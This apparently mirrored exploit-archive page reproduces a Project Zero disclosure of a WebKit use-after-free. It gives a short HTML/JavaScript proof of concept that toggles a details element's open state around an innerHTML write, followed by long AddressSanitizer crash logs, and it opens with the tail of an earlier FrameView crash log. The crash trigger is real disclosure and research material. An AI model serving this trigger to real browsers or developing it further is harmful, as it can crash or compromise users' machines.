    #2 0x10d074535 in bmalloc::Allocator::allocate(unsigned long) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1861535)
    #3 0x115c14a59 in WebCore::FrameView::create(WebCore::Frame&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xab8a59)
    #4 0x115bd459c in WebCore::Frame::createView(WebCore::IntSize const&, WebCore::Color const&, bool, WebCore::IntSize const&, WebCore::IntRect const&, bool, WebCore::ScrollbarMode, bool, WebCore::ScrollbarMode, bool) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa7859c)
    #5 0x107e0df0b in WebKit::WebFrameLoaderClient::transitionToCommittedForNewPage() (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x625f0b)
    #6 0x115beb6cf in WebCore::FrameLoader::transitionToCommitted(WebCore::CachedPage*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8f6cf)
    #7 0x115bea77b in WebCore::FrameLoader::commitProvisionalLoad() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8e77b)
    #8 0x1158e6197 in WebCore::DocumentLoader::finishedLoading(double) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x78a197)
    #9 0x1158ee2e5 in WebCore::DocumentLoader::maybeLoadEmpty() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7922e5)
    #10 0x1158ee6d3 in WebCore::DocumentLoader::startLoadingMainResource() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7926d3)
    #11 0x115beec01 in WebCore::FrameLoader::continueLoadAfterWillSubmitForm() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa92c01)
    #12 0x115be8495 in WebCore::FrameLoader::continueLoadAfterNavigationPolicy(WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool, WebCore::AllowNavigationToInvalidURL) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8c495)
    #13 0x115bfc4ba in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL)::$_4::operator()(WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool) const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa04ba)
    #14 0x115bfc301 in void std::__1::__invoke_void_return_wrapper<void>::__call<WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL)::$_4&, WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool>(WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL)::$_4&&&, WebCore::ResourceRequest const&&&, WTF::PassRefPtr<WebCore::FormState>&&, bool&&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa0301)
    #15 0x1170fd592 in std::__1::function<void (WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool)>::operator()(WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool) const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa1592)
    #16 0x1170fd300 in WebCore::PolicyCallback::call(bool) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa1300)
    #17 0x1170ff0aa in WebCore::PolicyChecker::continueAfterNavigationPolicy(WebCore::PolicyAction) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa30aa)
    #18 0x107df7b2e in std::__1::function<void (WebCore::PolicyAction)>::operator()(WebCore::PolicyAction) const (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60fb2e)
    #19 0x107df7986 in WebKit::WebFrame::didReceivePolicyDecision(unsigned long long, WebCore::PolicyAction, unsigned long long, WebKit::DownloadID) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60f986)
    #20 0x107e07dbc in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForNavigationAction(WebCore::NavigationAction const&, WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, std::__1::function<void (WebCore::PolicyAction)>) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x61fdbc)
    #21 0x1170fea08 in WebCore::PolicyChecker::checkNavigationPolicy(WebCore::ResourceRequest const&, bool, WebCore::DocumentLoader*, WTF::PassRefPtr<WebCore::FormState>, std::__1::function<void (WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool)>) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa2a08)
    #22 0x115be72b3 in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8b2b3)
    #23 0x115be5de6 in WebCore::FrameLoader::loadWithNavigationAction(WebCore::ResourceRequest const&, WebCore::NavigationAction const&, WebCore::LockHistory, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa89de6)
    #24 0x115be2113 in WebCore::FrameLoader::loadURL(WebCore::FrameLoadRequest const&, WTF::String const&, WebCore::FrameLoadType, WebCore::Event*, WTF::PassRefPtr<WebCore::FormState>) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa86113)
    #25 0x115be043c in WebCore::FrameLoader::loadURLIntoChildFrame(WebCore::URL const&, WTF::String const&, WebCore::Frame*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8443c)
    #26 0x107e0ed25 in WebKit::WebFrameLoaderClient::createFrame(WebCore::URL const&, WTF::String const&, WebCore::HTMLFrameOwnerElement*, WTF::String const&, bool, int, int) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x626d25)
    #27 0x117966328 in WebCore::SubframeLoader::loadSubframe(WebCore::HTMLFrameOwnerElement&, WebCore::URL const&, WTF::String const&, WTF::String const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x280a328)
    #28 0x117964335 in WebCore::SubframeLoader::loadOrRedirectSubframe(WebCore::HTMLFrameOwnerElement&, WebCore::URL const&, WTF::AtomicString const&, WebCore::LockHistory, WebCore::LockBackForwardList) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2808335)
    #29 0x117963f47 in WebCore::SubframeLoader::requestFrame(WebCore::HTMLFrameOwnerElement&, WTF::String const&, WTF::AtomicString const&, WebCore::LockHistory, WebCore::LockBackForwardList) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2807f47)

SUMMARY: AddressSanitizer: heap-use-after-free (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7788a) in WTF::TypeCastTraits<WebCore::FrameView const, WebCore::ScrollView const, false>::isType(WebCore::Widget const&)
Shadow bytes around the buggy address:
  0x1c3400018b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c3400018b10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c3400018b20: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
  0x1c3400018b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c3400018b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x1c3400018b50:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c3400018b60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c3400018b70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c3400018b80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c3400018b90: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c3400018ba0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==54938==ABORTING
-->
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1097

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on a nightly version of WebKit. The PoC has also been observed to crash Safari 10.0.2 on Mac.

PoC:

=================================================================
-->

<script>
function go() {
  d.open = false;
  d.innerHTML = "foo";
  d.open = true;
}
</script>
<body onload=go()>
<details id="d" open="true">
<div>foo</div>

<!--
=================================================================

ASan log:

=================================================================
==570==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000065058 at pc 0x00010e035a8b bp 0x7fff59453d00 sp 0x7fff59453cf8
READ of size 8 at 0x607000065058 thread T0
    #0 0x10e035a8a in WebCore::Node::parentNode() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xba8a)
    #1 0x10e048c1a in WebCore::Node::parentElement() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1ec1a)
    #2 0x10e38c621 in WebCore::ComposedTreeIterator::traverseNextInShadowTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x362621)
    #3 0x10e3910d5 in WebCore::ComposedTreeIterator::traverseNext() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3670d5)
    #4 0x110816a53 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27eca53)
    #5 0x110817306 in WebCore::Style::TreeResolver::resolve(WebCore::Style::Change) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27ed306)
    #6 0x10e724e7f in WebCore::Document::recalcStyle(WebCore::Style::Change) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6fae7f)
    #7 0x10e7259e3 in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6fb9e3)
    #8 0x10ea913a1 in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa673a1)
    #9 0x10ea8e8da in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa648da)
    #10 0x10e7430ad in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7190ad)
    #11 0x10ec3d79d in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1379d)
    #12 0x10e7d824c in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7ae24c)
    #13 0x10e79c86f in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77286f)
    #14 0x10e27cfb7 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x252fb7)
    #15 0x10e277b69 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24db69)
    #16 0x1108287e4 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27fe7e4)
    #17 0x107099615 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8de615)
    #18 0x107098c2a in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8ddc2a)
    #19 0x106a471f9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x28c1f9)
    #20 0x10686a448 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xaf448)
    #21 0x106873614 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb8614)
    #22 0x10bd53ab3 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b6ab3)
    #23 0x10bd55f1e in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b8f1e)
    #24 0x7fffa0f3c7e0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xaa7e0)
    #25 0x7fffa0f1bf1b in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x89f1b)
    #26 0x7fffa0f1b43e in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x8943e)
    #27 0x7fffa0f1ae37 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88e37)
    #28 0x7fff92663934 in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30934)
    #29 0x7fff9266376e in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x3076e)
    #30 0x7fff926635ae in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x305ae)
    #31 0x7fff8e7e1df5 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48df5)
    #32 0x7fff8e7e1225 in -[NSApplication _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48225)
    #33 0x7fff8e7d5d7f in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3cd7f)
    #34 0x7fff8e79f367 in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x6367)
    #35 0x7fff99c6e193 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x11193)
    #36 0x7fff99c6cbbd in xpc_main (/usr/lib/system/libxpc.dylib+0xfbbd)
    #37 0x1067a7b73 in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
    #38 0x7fff9db6e5ac in start (/usr/lib/system/libdyld.dylib+0x35ac)

0x607000065058 is located 24 bytes inside of 72-byte region [0x607000065040,0x607000065088)
freed by thread T0 here:
    #0 0x108d76cf4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4bcf4)
    #1 0x10bd9e36f in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190136f)
    #2 0x10e3c24dd in WebCore::ContainerNode::removeChildren() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3984dd)
    #3 0x10fcb41f6 in WebCore::replaceChildrenWithFragment(WebCore::ContainerNode&, WTF::Ref<WebCore::DocumentFragment>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1c8a1f6)
    #4 0x10e8bc6b9 in WebCore::Element::setInnerHTML(WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8926b9)
    #5 0x10f3956ba in WebCore::setJSElementInnerHTMLFunction(JSC::ExecState&, WebCore::JSElement&, JSC::JSValue, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x136b6ba)
    #6 0x10f38701f in bool WebCore::BindingCaller<WebCore::JSElement>::setAttribute<&(WebCore::setJSElementInnerHTMLFunction(JSC::ExecState&, WebCore::JSElement&, JSC::JSValue, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, long long, long long, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x135d01f)
    #7 0x10ababb58 in JSC::callCustomSetter(JSC::ExecState*, bool (*)(JSC::ExecState*, long long, long long), bool, JSC::JSValue, JSC::JSValue) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x70eb58)
    #8 0x10ababc85 in JSC::callCustomSetter(JSC::ExecState*, JSC::JSValue, bool, JSC::JSObject*, JSC::JSValue, JSC::JSValue) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x70ec85)
    #9 0x10b58ef95 in JSC::JSObject::putInlineSlow(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x10f1f95)
    #10 0x10b743223 in llint_slow_path_put_by_id (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12a6223)
    #11 0x10b75ebfd in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c1bfd)
    #12 0x10b76226c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c526c)
    #13 0x10b75b83a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12be83a)
    #14 0x10b41a47d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf7d47d)
    #15 0x10b3a4aa3 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf07aa3)
    #16 0x10aa96991 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9991)
    #17 0x10aa96abb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9abb)
    #18 0x10aa96e06 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9e06)
    #19 0x10f0dcb2e in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x10b2b2e)
    #20 0x10f3c2786 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1398786)
    #21 0x10e91da05 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8f3a05)
    #22 0x10e91d52f in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8f352f)
    #23 0x10e80c431 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7e2431)
    #24 0x10e81bc2f in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7f1c2f)
    #25 0x10e72aaef in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x700aef)
    #26 0x10e72588e in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6fb88e)
    #27 0x10ea913a1 in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa673a1)
    #28 0x10ea8e8da in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa648da)
    #29 0x10e7430ad in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7190ad)

previously allocated by thread T0 here:
    #0 0x108d76790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790)
    #1 0x7fff933565a0 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x25a0)
    #2 0x10bda7db4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190adb4)
    #3 0x10bd9d12b in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190012b)
    #4 0x10bd34995 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1897995)
    #5 0x1109cd27d in WebCore::Text::create(WebCore::Document&, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x29a327d)
    #6 0x1109cec56 in WebCore::Text::createWithLengthLimit(WebCore::Document&, WTF::String const&, unsigned int, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x29a4c56)
    #7 0x10ec1336b in WebCore::HTMLConstructionSite::insertTextNode(WTF::String const&, WebCore::WhitespaceMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe936b)
    #8 0x10ed72c3d in WebCore::HTMLTreeBuilder::processCharacterBufferForInBody(WebCore::HTMLTreeBuilder::ExternalCharacterTokenBuffer&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd48c3d)
    #9 0x10ed6d5a3 in WebCore::HTMLTreeBuilder::processCharacterBuffer(WebCore::HTMLTreeBuilder::ExternalCharacterTokenBuffer&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd435a3)
    #10 0x10ed6c531 in WebCore::HTMLTreeBuilder::processCharacter(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd42531)
    #11 0x10ed6967e in WebCore::HTMLTreeBuilder::constructTree(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd3f67e)
    #12 0x10ec3ed48 in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14d48)
    #13 0x10ec3e902 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14902)
    #14 0x10ec3db94 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc13b94)
    #15 0x10ec3f58d in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1558d)
    #16 0x10e6ac661 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x682661)
    #17 0x10e7d81f8 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7ae1f8)
    #18 0x10e79c86f in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77286f)
    #19 0x10e27cfb7 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x252fb7)
    #20 0x10e277b69 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24db69)
    #21 0x1108287e4 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27fe7e4)
    #22 0x107099615 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8de615)
    #23 0x107098c2a in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8ddc2a)
    #24 0x106a471f9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x28c1f9)
    #25 0x10686a448 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xaf448)
    #26 0x106873614 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb8614)
